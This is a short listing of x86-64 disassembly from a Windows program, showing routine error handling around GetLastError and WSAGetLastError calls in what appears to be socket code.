jne 0x1400108b0
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
mov ecx, 0x4c7
cmove eax, ecx
mov dword [rbx + 0x18], 1
mov dword [rbx + 0x1c], 4
mov dword [rbx + 0x20], eax
xor eax, eax
mov dword [rbx + 0x24], 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
cmp edi, 0xffffffff
je 0x1400108f1
test edi, edi
je 0x1400108ce
mov eax, dword [rbx + 0x1f4]
test eax, eax
je 0x140010830
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov dword [rbx + 0x18], 1
xor eax, eax
mov qword [rbx + 0x1c], 5
mov dword [rbx + 0x24], 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x140010882
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret